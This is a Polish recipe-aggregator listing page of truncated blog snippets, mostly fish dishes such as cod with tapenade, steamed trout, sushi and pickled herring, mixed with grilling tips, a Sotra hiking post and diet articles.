czarnych, drylowanych oliwek Gallo i oliwy z oliwek Gallo Reserva tej marki. Jest to oliwa, która charakteryzuje się mocnym, oliwkowym smakiem. Jej lekka goryczka idealnie współgra z białym mięsem ryby – danie nie jest mdłe, ma wyrazisty smak i charakter. Taka oliwa szczególnie sprawdza się w daniach na zimno, ale możemy ją używać także do krótkiego smażenia w niewysokiej(...)ząbkiem czosnku, łyżką soku z cytryny i 4-5 łyżkami oliwy z oliwek. Możemy zblendować je tak, aby były duże wyczuwalne kawałki lub bardziej gładko. Przyprawiamy szczyptą soli. Gdy ryba się upiecze układamy na wierzchu dużą łyżkę tapenady. Możemy przyozdobić cytryną i/lub natką pietruszki. Podajemy z ryżem, kuskusem lub makaronem. Wpis zawiera lokowanie produktów Gallo Post Dorsz w pomidorach

Poezja smaku
Niezbędnik grillomaniaka 100

podjęciu właściwych decyzji przygotowałam specjalnie dla Ciebie wykaz najbardziej niezbędnych akcesoriów do grillowania, dzięki którym zyskasz sławę mistrza w tym fachu. Kosze do grillowania Jeśli lubisz grillowane warzywa, ryby i owoce morza kosz do grillowania staje się akcesorium wprost niezbędnym. Szparagi, mini pizze z cukinii, sałatka z grillowanych warzyw albo pstrąg z grilla wymagają kosza z otworami odpowiednio dużymi(...)ruszcie. To także najlepsze rozwiązanie dla osób dbających o linię, płyty to smażenia, także z rowkowaną powierzchnią, umożliwiają przyrządzanie wyśmienitych dań z minimalną ilością tłuszczu. Forma ceramiczna do pieczenia ryb Termometr do grillowania Masz zapewne w domu termometr do pieczenia, również współczesne domowe piekarniki są wyposażone w termosondę, która pozwala kontrolować temperaturę wewnątrz produktu. Tym bardziej nie zaskakuje Cię

Cztery Fajery
Ciekawe miejsca za Bergen – Sotra Hellesøy. Szlak Rubbeganståne 115

Hellesøy. Jest najbardziej wysuniętym na północ punktem na wyspie Sotra, w Hrabstwie Øygarden. Hellesøy jest powszechnie znany ze swojego malowniczego otoczenia i bardzo dobrych miejscówek do łowienia ryb. W tym poście postaramy się zdobyć najbardziej wysunięty na północ szlak – Rubbeganståne. Szlak Rubbeganståne na Hellesøy Jadąc na sam koniec wyspy, kilkaset metrów przed ostatnim zakrętem znajdziecie oznaczenia kierujące(...)się zgubić, Mniej więcej w połowie drogie znajdziecie ławeczkę i stolik z pięknym widokiem na lasy i morze, Po drodze zobaczycie również znak na “Dobre miejsce do połowu ryb”. Warto spróbować. Przy końcowi znajdziecie znak “Latarnia”, odbijcie w jej stronę. Widoki są genialne! Znajdziecie również kolejną ławeczkę do odsapnięcia. Wracając do naszej wycieczki Rubbeganståne najważniejsze

Czynniki pierwsze
Pstrąg na parze z warzywami 94

cytryny bio  listki świeżego estragonu  sól i pieprz  1 łyżka masła  Pstrąg na parze z warzywami przepis 1. Pstrąga umyj i osusz ręcznikiem papierowym. Przekrój rybę na dwie części, skrop sokiem z cytryny, dopraw solą i pieprzem. 2. Przygotuj warzywa. Odłam końcówki szparagów, a w przypadku fasolki szparagowej odetnij końcówki. Warzywa opłucz. 3. Parowar ustaw według(...)żółta fasolka szparagowa około 15 minut zielona fasolka szparagowa około 30 minut Na około 8-10 minut przed końcem parowania warzyw,  minutach wstaw do komory parowaru naczynie z rybą. Paruj do czasu aż urządzenie samo się wyłączy i przejdzie w tryb podtrzymywania ciepła. 4. Teraz przygotuj sos łącząc ze sobą niżej wymienione składniki 200 ml naturalnego jogurtu skórka otarta

Cztery Fajery
7 sztuczek, dzięki którym sezon grillowy będzie prosty 97

Pozostaw paczkę w połowie otwartą i zrób dodatkowe otwory na górze. Użyj formy do muffinek. Możesz użyć formy muffinki do różnych akcesoriów do grilla: keczup, musztarda, majonez itp. Umieść rybę w solance. Czy zmagałeś się również z pękaniem ryb i trudnością w obsłudze grilla? Ten problem będzie mniejszy, jeśli przed grillowaniem włożysz rybę do słonej wody. Przejedź ruszt grilla

ProstePesto.pl
NAJLEPSZE HOT-DOGI Z GRILLA I 7 TRIKÓW, DZIĘKI KTÓRYM KAŻDY Z WAS ZOSTANIE MISTRZEM GRILLOWANIA 91

mięso szybciej się upiecze. Do przygotowania marynaty można użyć również alkoholu, który sprawi, że przygotowywane mięso będzie miększe. 4. MIĘSO TO NIE WSZYSTKO Na grillu możecie upiec nie tylko ryby i mięso, ale również wiele rodzajów warzyw. Ziemniaczki w mundurkach, kolby kukurydzy, duże pieczarki(...)paprykę czy cukinię. Pamiętajcie przy tym, żeby zawsze zaczynać smażyć warzywa od tych najtwardszych ze względu na to, że ich czas pieczenia będzie trwał dłużej. Jeśli natomiast chcecie przygotować ryby to te mniejsze lepiej jest położyć na ruszcie w całości, z kolei większe pokroić w tzw. dzwonek. 5. SPOSÓB NA SZASZŁYKI Zanim przygotujecie szaszłyki, namoczcie drewniane patyczki przez około

Ostra na Słodko
Cytrusowy łosoś na ryżowym chruście 80

porcje. Z umytej cytryny zetrzeć skórkę, łososia skropię sokiem z połowy z cytryny. Nasiona gorczycy rozetrzeć delikatnie w moździerzu, wymieszać z papryką i solą. Dokładnie natrzeć mieszanką rybę. Z pomarańczy zetrzeć skórkę dodać do niej skórkę cytrynową i natrzeć nimi rybę. Posypać odrobiną suszonego czosnku. Tak przygotowaną rybę włożyć do ceramicznej miski, przykryć i odstawić

SprawdzonaKuchnia.pl
Jak zrobić sushi? 167

Sushi robi się z surowej ryby - my z mężem robimy często z pieczoną lub wędzoną rybą, a nawet czasem z kurczakiem! - Tak z piersią kurczaka i powiem Wam, że równie dobrze smakuje, a dzieciaki i goście taką wersję uwielbiają. Czytaj więcej

Ana Mari's world
Jak zrobić sushi? 167

Sushi robi się z surowej ryby - my z mężem robimy często z pieczoną lub wędzoną rybą, a nawet czasem z kurczakiem! - Tak z piersią kurczaka i powiem Wam, że równie dobrze smakuje, a dzieciaki i goście taką wersję uwielbiają. Czytaj więcej

Ana Mari's world
Sotra Øygarden – wyspa przy Bergen, czyli pomysł jak spędzić weekend poza miastem 88

niecałe 70 km długości. Najwyższy szczyt to Liatårnet – 341 m n.p.m. Na jej powierzchni znajduje się kilkanaście szczytów i kilkadziesiąt szlaków turystycznych. Genialna baza wypadowa na połowy ryb kutrem, a także z lądu. To tutaj możesz: wypłynąć na ośmiogodzinny rejs kutrem , by złowić prawdziwą, wielką sztukę i przy okazji podziwiać wybrzeże Sotry z zupełnie innej perspektywy, nauczyć się(...)Morze Północne) Muzeum Przybrzeżne w Øygarden Muzeum Morza Północnego Telavåg Stare i idylliczne miejsce handlu z 1664 roku – Glesvær. Miejsce to było ważnym portem do połowów i przyjmowania ryb w regionie, Elektrownie falowe w Øygarden, a raczej ich pozostałości, kilka piaszczystych plaż, połączonych z możliwością grillowania niezliczoną ilość gór, a także pagórków z setkami różnorakich szlaków miejsca

Czynniki pierwsze
Witamina B6. Jak wpływa na nasze zdrowie? 79

łuszczycę. Niedobory tej witaminy mogą mieć poważne konsekwencje, zatem im wcześniej zadbamy o zdrową dietę, tym lepiej dla nas. Po jakie produkty warto sięgać? Dobrymi źródłami witaminy B6 są ryby, mięso oraz produkty zbożowe. Pełnoziarnisty makaron, ciemna mąka, grube kasze oraz rośliny strączkowe – oto składniki, dzięki którym nasza dieta dostarczy nam odpowiednich ilości witaminy B6. Dobrymi źródłami tej witaminy(...)szpinak, awokado, brokuły oraz orzechy. Banany, drożdże oraz przetwory mleczne to kolejne dodatki, bez których zdrowa dieta obejść się nie może. Zobacz przepisy bogate w witaminę B6: Świeża ryba z piekarnika pieczona w folii Smażona ryba w panierce z talarkami ziemniaków Kuchnia PRL. Śledź po białostocku Guacamole meksykańska salsa z awokado Pasta jajeczna z awokado do pieczywa Buddha Bowl miska

ProstePesto.pl
Chrupiąca sałatka z kurczakiem, selerem, jabłkiem i orzechami 108

Sałatka z kurczakiem i chrupiącymi dodatkami, w postaci jabłka i orzechów włoskich to pyszny pomysł na lunch lub sycące drugie śniadanie. Połączenie delikatnego mięsa z kurczaka

Korniszonki
Poradnik ProstePesto. Wino vs. potrawy 78

się podawać w wysokich przezroczystych kieliszkach. Jeżeli zależy nam na tym, aby w spokoju delektować się winem, nie dominując przy tym całej potrawy, powinniśmy podawać je do jasnego mięsa, ryb, makaronów oraz grzybów. Inaczej sytuacja wygląda w przypadku białych win wytrawnych, które będą idealnym dopełnieniem do mniej aromatycznych serów. Warto pamiętać, że każde wino, które długo leżakowało, należy postawić(...)pionowo przed podaniem. W ten sposób osad opadnie na dno, a wino się wyklaruje. Białe wino możemy serwować do: Świeża ryba z piekarnika pieczona w folii Kuchnia PRL. Śledź po białostocku Smażona ryba w panierce z talarkami ziemniaków Japońskie specjały. Okonomiyaki – smaż co lubisz Makaron ze szpinakiem i słonym serem feta Do jakich potraw czerwone wino? Ciężkie czerwone wina

ProstePesto.pl
Sałatka z wędzonym łososiem 66

sałatka to prosty sposób na bardzo zdrowy posiłek. O walorach zdrowotnych ryb nie trzeba chyba się dużo rozpisywać, każdy z nas wie, że zawierają kwasy omega, są doskonałym źródłem białka, mają również mnóstwo witamin. Łosoś jest źródłem witaminy D, witamin z grupy B zawiera również znaczne ilości pierwiastków takich jak selen, fosfor, czy magnez. Jeżeli do łososia dorzucimy furę(...)cebuli Na sos: sok z 1 cytryny 1 łyżka musztardy 4 łyżki oleju rzepakowego 2 łyżki posiekanego świeżego koperku sól pieprz  Sałatę umyć i porwać na mniejsze kawałki. Rybę porwać na mniejsze kawałki. Ogórka obrać i pokroić na średniej wielkości kawałki. Rzodkiewkę umyć i pokroić na plasterki. Pomidora umyć i podzielić na cząstki. Jajka pokroić w ósemki, a cebulę

Krylowa Kuchnia
Sorbet truskawkowy 166

Sorbet truskawkowy Lody sorbetowe to wspaniały pomysł na letni deser. Można je przygotować z owoców sezonowych- truskawek, malin lub cytrusów. Domowy sorbet truskawkowy idealnie sprawdzi się

Korniszonki
Tort czekoladowo-śmietankowy z truskawkami 117

Maj to miesiąc truskawek, więc właśnie w maju warto przygotować jak najwięcej smakołyków z truskawkami, bo właśnie w maju truskawki są najlepsze. Tort czekoladowo-śmietankowy z

Korniszonki
Kuchnia PRL. Ciekawostki ProstePesto 96

krew i jelita do wyrabiania domowej kiełbasy. W licznych gospodarstwach domowych były wędzarnie sporządzane z metalowych beczek. W latach 70 XX w. powstały też prywatne wędzarnie. Brakowało drobiu i ryb. Rzadko dostępny kurczak i indyk, a z ryb można było kupić głównie śledzie i dorsze. Nic dziwnego, że w takich warunkach ludzie mocno kombinowali, żeby załatwić mięso

ProstePesto.pl
Ryba zapiekana w sosie śmietanowo-serowym 93

Ryba zapiekana z porem w sosie śmietanowo-serowym, przepyszna, szybka w przygotowaniu i prosta propozycja obiadu :). Bardzo dobrze smakuje z ryżem i surówką. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 3 większe filety rybne, u mnie opakowanie kostki z mintaja 1 por 1 ser typu camembert 1 szklanka śmietany 12% 1 łyżka masła sok z połówki cytryny sól, pieprz, gałka muszkatołowa (adsbygoogle = window.adsbygoogle(...)wrzenia. Wyłączamy gaz, doprawiamy do smaku solą, pieprzem i gałką muszkatołową, rozmrożone i osuszone filety rybne dzielimy na pół (ja miałam już gotowe kostki) i przekładamy do naczynia żaroodpornego, rybę skrapiamy sokiem z cytryny i zalewamy sosem, gotową rybę wstawiamy do piekarnika nagrzanego do 180 stopni (góra-dół) i zapiekamy bez przykrycia do momentu aż wierzch przypiecze się na złocisty

Blog kulinarny S9.PL
Śledzie marynowane w zalewie octowej 127

Śledzie marynowane w zalewie octowej i oleju Śledzie, czyli nasze bałtyckie złoto, to ulubiona ryba Polaków. Można przyrządzać je na wiele sposobów - na słodko, z dodatkiem egzotycznych przypraw lub owoców, marynowane w winie albo w musztardzie. Warto jednak wrócić do kulinarnych śledziowych korzeni i przygotować tradycyjne śledzie w occie. Polecam przepis na śledzie marynowane w zalewie octowej w wersji tradycyjnej(...)zalewamy wodą i odstawiamy na minimum godzinę, ale najlepiej żeby moczyły się 4 do 5 godzin. Wymoczone śledzie osuszamy i kroimy na niewielkie kawałki. W czasie, gdy odmaczamy ryby przygotowujemy marynatę octową do śledzi . Do garnka wlewamy wodę z octem i dodajemy cukier i doprawiamy solą . Płyn zagotowujemy i dodajemy przyprawy – goździki, ziele angielskie, liście laurowe, pieprz i gorczycę

Gotujemy i jemy
Pomysły na zdrowy lunch ze słoika 81

energii (białko, zdrowe węglowodany), bez pustych kalorii i niezdrowych tłuszczy! W słoikach zamknęliśmy dużo warzyw, owoce, pierwsze w tym roku nowalijki (głównie szparagi), super zdrowe kasze, rybę, pieczone mięso i owoce morza. To taka wypasiona, domowa dieta… słoikowa Pamiętaj, że wszystkie składniki z tego menu możesz bardzo łatwo kupić bezpośrednio z naszego bloga – online – we frisco.pl(...)szalenie ułatwia przygotowywanie kilku dań jednego dnia. My gotowaliśmy w taki sposób, że zamacerowaliśmy kaczkę – filety zostały właściwie tylko doprawione solą i pieprzem, zrobiliśmy glazurę do kurczaka i ryby. W czasie kiedy mięso leżało w marynacie (łosoś trafił do niej na samym końcu, bo jak to ryba, nie potrzebuje długiego leżakowania w marynacie) ugotowaliśmy kaszę, makaron, soczewicę i makaron

Niedzielny kucharz
Carpaccio z łososia 77

przygotowaniu i praktycznie wszystkie produkty są gotowe należy je tylko ładnie ułożyć. Pomimo prostoty prezentuje się bardzo elegancko, a smakuje jeszcze lepiej Carpaccio można przygotować z wędzonej na zimno ryby lub z surowej. Ja zdecydowanie polecam tą pierwszą, zwłaszcza jeśli nie macie 100% pewności, że ryba jest świeża. Carpaccio z łososia Składniki: 100 – 150 g łososia wędzonego

PatiGotuje
Łosoś ze szparagami i pomidorami 114

piecze się szybciutko i nie wymaga wiele zachodu. Łosoś ze szparagami i pomidorkami - 300 g łososia - 100 g szparagów - 100 g pomidorków koktajlowych - odrobina masła - sól, pieprz do smaku Rybę myjemy, osuszamy i tniemy na kawałki. Szparagi obieramy, myjemy i odcinamy zdrewniałe końcówki. Pomidorki tniemy na połówki. Na spodzie naczynia żaroodpornego układamy szparagi. Posypujemy solą i dodajemy odrobinę wiórek masła(...)kładziemy łososia i znów odrobinę dodajemy soli, pieprzu i wiórek masła( nie dużo tylko do smaku)  Na wierzchu łososia układamy miąższem do ryby pomidorki. Tak aby w trakcie pieczenia sok pomidorowy wsiąkał w rybkę. Pieczemy w 180C około

Kuchnia Pełna Emocji
Racuchy z bananami z mąki orkiszowej 155

Racuchy bananowe na jogurcie z mąką orkiszową Racuchy z bananami to przysmak, który sprawdza się jako danie na śniadania, obiady i kolacje. Ciasto na racuchy można

Korniszonki
Jak powinna wyglądać zbilansowana dieta? 116

naszego talerza zajmowały warzywa. Nawet w sklepach można kupić lunchboxy, które mają właśnie taki układ. Pozostała część talerza powinna zostać zagospodarowana przez produkty bogate w białko – np. mięso, ryby, jaja, suche nasiona roślin strączkowych, a pozostałe 25% powinno stanowić źródła węglowodanów – np. kasze, ziemniaki czy makaron. 2. Porcja zgodna z indywidualnymi potrzebami Jeśli chodzi o porcje(...)Neuhoff-Murawska, dietetyk i ekspert programu „Indyk z Europy – pod skrzydłami jakości” proponuje, aby przez trzy dni w tygodniu na naszym stole zagościło mięso białe np. indyk, dwa dni – ryby np. łosoś lub pstrąg, a jednego dnia danie przygotowane z mięsa czerwonego. Zamiennikiem mięsa mogą być suche nasiona roślin strączkowych, które warto włączyć raz w tygodniu do naszej diety

Czynniki pierwsze
Pieczony łosoś na 2 sposoby 73

Większość z listy produktów każdy z nas ma w domu, a jak nie ma to bez problemu kupi w każdym markecie. Nie musicie znać się na obróbce i przygotowaniu ryby. Wystarczy, że pokroicie je w podłużne filety, włożycie do piekarnika i voilà, po 20 minutach mamy wspaniałą rybę na obiad. 1. ŁOSOŚ Z MIODEM I SEZAMEM Składniki: – 200g

Be Fit Be Strong
Lodówka side by side – czy warto? 152

całkowitej pojemności , więc zmieszczą masę jedzenia różnego typu (źródło danych: https://www.prorankingi.pl/rankingi/agd/lodowki-side-by-side/ ). Wysoki tort, mnóstwo mrożonek, wysokie butelki wina czy napojów gazowanych, większe kawałki mięsa, długie ryby, masywniejsze warzywa – długo mogę wymieniać produkty, które bez problemu zmieścisz w lodówce side by side . Zarówno jej część mrożąca, jak i chłodząca da Ci ogromną swobodę. Przy takiej pojemności producenci też(...)mają łatwiej – nie idą na kompromisy, a zawierają wiele zróżnicowanych (i często regulowanych) półek, szuflad czy dedykowanych pojemników na konkretny rodzaj żywności (np. warzywa i owoce, mięso, ryby). Po wielkich zakupach w markecie bez problemu umieścisz zakupione produkty w przestronnej lodówce, nie musząc się przy tym gimnastykować i narzekać, że nie możesz czegoś zmieścić. Właśnie dla tej cechy

Słodkie okruszki
Surówka z białej kapusty ze śmietaną 200

Bardzo prosta surówka z białą kapustą, marchewką i jabłkiem – smaczna… soczysta… chrupiąca. W sam raz do podania na obiad, na kolację lub jako dodatek do ryb i mięs z grilla. Poniżej podałam składniki na przygotowanie porcji dla 3 osób, ale możesz proporcjonalnie zwiększyć ich ilość zależnie od swoich potrzeb.   Proste dodatki do obiadu… ** Sałatka(...)soczysta. Do surówki można dodać również… posiekaną białą lub czerwoną cebulę, pora, posiekaną natkę pietruszki, koperek.     (adsbygoogle = window.adsbygoogle || []).push({}); Surówkę polecam do… Klopsa (pieczeni rzymskiej) Ryby pieczonej na ryżu Cukinii faszerowanej mięsem Paprykowych krążków nadziewanych mięsem Kotletów drobiowych (mielonych

Kulinarne S.O.S.
Surówka z białej kapusty ze śmietaną 200

Bardzo prosta surówka z białą kapustą, marchewką i jabłkiem – smaczna… soczysta… chrupiąca. W sam raz do podania na obiad, na kolację lub jako dodatek do ryb i mięs z grilla. Poniżej podałam składniki na przygotowanie porcji dla 3 osób, ale możesz proporcjonalnie zwiększyć ich ilość zależnie od swoich potrzeb.   Proste dodatki do obiadu… ** Sałatka(...)soczysta. Do surówki można dodać również… posiekaną białą lub czerwoną cebulę, pora, posiekaną natkę pietruszki, koperek.     (adsbygoogle = window.adsbygoogle || []).push({}); Surówkę polecam do… Klopsa (pieczeni rzymskiej) Ryby pieczonej na ryżu Cukinii faszerowanej mięsem Paprykowych krążków nadziewanych mięsem Kotletów drobiowych (mielonych

Kulinarny S.O.S.
Kurczak zapiekany z pieczarkami / Baked Chicken and Mushrooms 78

schabu 100 % naturalnych składników Przyprawa do pikantnego kurczaka  100 % naturalnych składników, Przyprawa do żeberek 100 % naturalnych składników, Mieszanka ziół i przypraw, pieprz ziołowy 100 % naturalnych składników, Przyprawa do ryb 100 % naturalnych składników Przyprawa do mięs 100 % naturalnych składników Przyprawa do ziemniaków 100 % naturalnych składników Majeranek z krajów śródziemnomorskich, Chili z Indii, Papryka ostra z Hiszpanni, Goździki z Indonezji(...)chodzi o przyprawy Knorr, prawda? Możecie ich użyć do najbardziej egzotycznych, oryginalnych i aromatycznych dań, ale sprawdzą się fantastycznie w tradycyjnych, klasycznych daniach kuchni polskiej. Są idealne do mięsa, ryby i warzyw. Wasze świąteczne i imprezowe dania w okresie karnawałowym nie mogą się bez nich obejść! Wszystkie te cudeńka spakowano w uroczą, świąteczną torbę na zakupy:) Do wypróbowania dołączono

Lekcje w kuchni
Zupa miso 161

śniadanie). Sporządzana jest na bazie "dashi" z dodatkiem sfermentowanej pasty sojowej zwanej miso oraz wielu innych składników, zależnie od regionu i osobistych upodobań. Szczególnie często dodaje się tofu, ryby oraz wodorosty wakame. Paście miso poza walorami smakowymi przypisuje się szereg właściwości prozdrowotnych, a zupa ugotowana na jej bazie jest uznawana za jedną z najzdrowszych potraw świata. Według tradycji japońskiej(...)dodatkowe składniki zupy powinny odzwierciedlać aktualną porę roku, wykorzystuje się więc sezonowe warzywa i ryby. Jedyne czego nie możecie w tym przepisie zmienić to oczywiście pasta miso. Co do pozostałych składników panuje duża swoboda. Moja zupa miso obfituje w kolorowe warzywa, grzyby, makaron i inne orientalne dodatki.  Najważniejsza jest jednak pasta miso, warzywa możesz dodać takie na jakie

Bon Appetit Małgorzaty
Domowy hot dog 79

Domowy hot dog 2020-04-07 Podstawowe błędy początkującego kucharza – ranking najpopularniejszych 2020-04-06 Jakich produktów nie odgrzewać. Mogą być toksyczne! 2020-03-29 Jak sprawdzić świeżość ryby? Sprawdź parę rad a już nigdy nie kupisz nieświeżej ryby! 2020-03-26 Bułeczki cebulowe 2020-03-22 (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Domowy hot dog pochodzi z serwisu

To Musisz Wiedzieć
Zupa rybna, przepis z Tanzanii 98

Miałam ochotę na zupkę rybną, ale chciałam zrobić coś inaczej. Znalazłam przepis z Tanzanii. Bardzo dobra, mogę szczerze polecić. Rybę pokroić na kawałki i skropić sokiem z cytryny. Odstawić. Rozgrzać olej i obsmażyć na niej cebulkę. Jak cebulka jest już miękka dodać posiekany czosnek. Dodać curry i smażyć chwilkę. Wlać pomidory z puszki, dodać masło orzechowe, paprykę szparagową, imbir, paprykę(...)słodką, chili. Gotować 5 minut. Dodać rybę i gotować jeszcze 3-5 minut. Pilnować żeby ryba się nie rozgotowała. Posypać zupkę posiekaną kolendrą. Smacznego

Kuchnia Pokoleń
Przechowywanie żywności - rób to dobrze 126

trzymać tam specjalny pojemnik na jajka). Nie myj ich przed włożeniem do lodówki - skorupka jajek pokryta jest naturalną warstwą ochronną, która chroni przed wniknięciem drobnoustrojów do wnętrza. Mięso i ryby Są to produkty, które najszybciej tracą świeżość. Przechowuje je w lodówce - umyte i osuszone mięso trzymaj w zamkniętym pojemniku, żeby chronić przed nimi inne, surowe produkty. W taki sposób(...)mięso możesz przechowywać ok. 3 dni. Mięso mielone oraz ryby trzymaj w lodówce trochę krócej, ok. 2 dni. Dobrym rozwiązaniem jest oczywiście zamrożenie mięsa - w ten sposób możesz przechowywać je nawet kilka miesięcy. Dania gotowane, smażone i pieczone Przygotowane posiłki nie powinny pozostawać dłuższy czas w temperaturze pokojowej. Jeśli więc przygotowałaś obiad na 2-3 dni pamiętaj, aby schować

Z notatnika dietetyka
Catering dla święta - dlaczego warto? 101

kilka osób przy stole, to nie będzie wcale zbyt dużo. Na stronie cateringowy.com mogą Państwo wybierać spośród kilku rodzajów, np.: tradycyjna sałatka jarzynowa pieczarkowa  śledziowa jajeczna Kompozycja ryb wędzonych - na cateringowy.com możemy zamówić zestaw ryb wędzonych morskich i słodkowodnych. Wszystkie są bardzo dobrze przyprawione i dekoracyjne ułożone na talerzu. Będą kusić nie tylko smakiem, ale i propozycją

Jak u mamy
Łosoś pieczony 114

Ryby są zawsze dobrą propozycją na szybki i zdrowy obiad. Nasz dzisiejszy łosoś pieczony jest jedną z najprostszych wersji, jaką można zrobić. Ta prostota dobrze komponowała się z pieczonymi ziemniakami i pieczoną czerwoną kapustą. Możemy dodać, że obiad ten przygotowaliśmy podczas jednego pieczenia, dokładając kolejne jego składniki. Łosoś pieczony potrzebował najmniej czasu, więc włożyliśmy go do piekarnika

niecodziennikpary
Mintaj w bazylii 83

orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Nie wiemy na czym polega fenomen serwowania ryby w piątek…Jednak zdarzyło się razu pewnego. I wyszło bardzo dobrze. Składniki: 2 polędwice  mintaja (po 200 g) 1 garść świeżej bazylii 3 łyżki mąki 1 jajko(...)fareast-language:#0400; mso-bidi-language:#0400;} Polędwice oprószamy solą. Bazylię siekamy. Połowę mieszamy z mąką, drugą z bułką tartą. Jajko mieszamy z odrobiną mleka, solą i pieprzem. Rybę obtaczamy w mące, jajku i bułce tartej. Smażymy na złoto, na rozgrzanym oleju

R'n'G Kitchen
Karp po żydowsku 146

Karp po żydowsku jest u nas w domach rzadkością na wigilijnym stole, ponieważ domownicy od zawsze bardziej preferowali potrawy z ryb na słono. Dzięki prowadzeniu bloga wigilijna wersja karpia z rodzynkami i migdałami ponownie próbowała przekonać nas do siebie i zrobiła to skutecznie. Okazało się, że galareta może być słodka i pikantna jednocześnie, a karp w niej zatopiony delikatny(...)minut, po czym wyłowić warzywa, rodzynki i przyprawy – rodzynki wybrać i zachować. Do gorącego wywaru włożyć kawałki karpia, gotować je na małym ogniu przez 20-25 minut. Rybę delikatnie wyjąć i położyć na talerz, po przestygnięciu wyjąć ości. Wywar przecedzić przez drobne sitko, odmierzyć 1 litr i doprawić go do smaku solą, pieprzem i cukrem – można go dodatkowo

niecodziennikpary
Homar po polsku 85

Order Pomiana przyznawany był najwybitniejszym gastronomom świata w latach 1965 - 1976. 500 g wędzonego dorsza, 2 marchewki (około 100 g), sok z 1/2 cytryny, 100 g majonezu, natka pietruszki, Rybę oczyścić z ości i rozdrobnić. Marchewkę umyć, obrać i zetrzeć na drobnej tarce. Do ryby dodać marchewkę, sok z cytryny, majonez, posiekaną pietruszkę i dokładnie wymieszać

królestwo garów
Sos tatarski 294

tatarski, najlepszy do jajek, mięs, ryb i na kanapki. Niezbędny na świątecznym stole, zarówno podczas Wielkanocy, kiedy podajemy go głównie do jajek, jak i w Święta Bożego Narodzenia, gdy smakuje najlepiej u boku wszelkiego rodzaju ryb i sałatek. Składniki: szklanka majonezu pół szklanki śmietany 18% pół szklanki grzybków marynowanych pół szklanki ogórków konserwowych pół większej cebuli spora garść

NiePieprz.pl
Składniki różnorodnych dań chińskich i japońskich 80

szanghajską charakteryzuje łagodny i słodki smak. Sosy, które są tam dodawane do potraw, zazwyczaj mają słodko-kwaśny posmak. Ze względu na dostęp do morza, często są to dania zawierające ryby. Z kolei najbardziej znana potrawa tego regionu świata, popularna nie tylko w Chinach, ale również na całym świecie, to kaczka po pekińsku. Jest to tradycyjne danie, które zachwyciło swoim(...)Kuchnia japońska Kuchnia japońska również cechuje się różnorodnością smaków i świeżymi składnikami, które bogate są w mikroelementy, witaminy i kwasy omega-3. Wyróżnia się dużą ilością owoców morza i ryb, które często podawane są na surowo. Jeśli zdecydujesz się przyrządzać je w domu, będziesz musiał zaopatrzyć się w odpowiednie dodatki czy specjalny gatunek ryżu. Znajdziesz je na stronie: Jednymi

FoodMagazine.pl - Przepisy kulinarne
Domowe sushi 119

japońskiego fast foodu. Przepis na małe, japońskie specjały, które podbiły świat i cieszą się nieustającą popularnością. Ryż zaprawiony marynatą (zobacz jak przygotować ryż do sushi ), surowa, marynowana lub wędzona ryba, szereg różnorodnych dodatków – to wszystko składa się na to smaczne danie. Dzisiaj zapraszam was po przepis na te smakowite kąski z ryżu z dodatkiem wędzonego łososia i warzyw. PRZEPIS(...)powierzchni (ryż dość lepki łatwiej rozprowadzić zmoczonymi w wodzie rękami). W kolejnym kroku na środku ryżu smarujemy cieniutką warstwę wasabi, układamy na niej rządek dyni, paski buraka i kawałki ryby. Zawijamy przy pomocy maty bambusowej w rulon a ten kroimy w plastry o szerokości ok 2 cm ( nóż musi być naprawdę ostry). Podajemy z sosem sojowym oraz marynowanym imbirem

Dorota Smakuje
Dieta wspierająca układ odpornościowy 107

butelkowaną), 4 kg roślin strączkowych i warzyw, 2,5 kg owoców i orzechów, 2,6 kg produktów mlecznych lub nabiału roślinnego, 0,4 kg masła lub oleju, 5 kg ryb i jajek. Do tego przysłowiowy ryż, makaron i papier toaletowy. Oczywiście wody w kranie raczej nie zabraknie a pewnie część rzeczy i tak mamy w domu. Warto zaplanować zakupy(...)dużo gorących herbatek, odpoczywać i wysypiać się. Fast food, konserwy i wysoko przetworzona żywność, to też nienajlepszy pomysł. Warto też zminimalizować spożywanie nabiału a mięso i ryby mieć z hodowli ekologicznych. Możemy rozważyć bycie na diecie antygrzybiczej. A co na pewno nam dobrze zrobi? Kasze, ryż i zboża bezglutenowe np. płatki owsiane czy quinoa. Makaron proteinowe np. z zielonego

Ugotowane pozamiatane
Sushi z łososiem i marchewką 104

marchewką – przepis na małe, japońskie specjały, które podbiły świat i cieszą się nieustającą popularnością. Ryż zaprawiony marynatą (zobacz jak przygotować ryż do sushi ), surowa, marynowana lub wędzona ryba, szereg różnorodnych dodatków – to wszystko składa się na to smaczne danie. Dzisiaj zapraszam was po przepis na te smakowite kąski z ryżu z dodatkiem wędzonego łososia i marchewki szybko przesmażonej(...)ryż na 2/3 powierzchni (ryż dość lepki łatwiej rozprowadzić zmoczonymi w wodzie rękami). W kolejnym kroku na środku ryżu smarujemy cieniutką warstwę wasabi, układamy na niej marchewkę i kawałki ryby. Zawijamy przy pomocy maty bambusowej w rulon a ten kroimy w plastry o szerokości ok 2 cm ( nóż musi być naprawdę ostry). Podajemy z sosem sojowym oraz marynowanym imbirem

Dorota Smakuje
Sos cebulkowy zimny 92

cebulkowy zimny z książki Jak gotować Marii Disslowej z okresu dwudziestolecia międzywojennego. Proponuję podawać go do zimnych pieczonych mięs , wędlin lub do ryby. 6 – 8 szalotek, 50 g musztardy francuskiej, 50 g oliwy*, sok z 1 cytryny, szczypta pieprzu, sól, Obrane szalotki drobno posiekać. Do miski włożyć musztardę, mieszając łyżką wlewać oliwę. Gdy połączy się oliwa z musztardą wlać(...)cytryny. Dodać posiekaną szalotkę, doprawić do smaku solą i pieprzem. Gdyby sos był za gęsty, można dodać kilka łyżek lekkiego rosołu z kury lub ryb. * W przepisie użyta została oliwa, jeżeli ktoś nie lubi może dodać olej, oczywiście najlepiej tłoczony na zimno. Ja polecam oliwę Picual Oro Bailen najlepszą oliwę świata według przewodnika EVOOLEUM. Oliwa Picual Oro Bailen Picual

królestwo garów
Gulasz z halibuta po tajsku 90

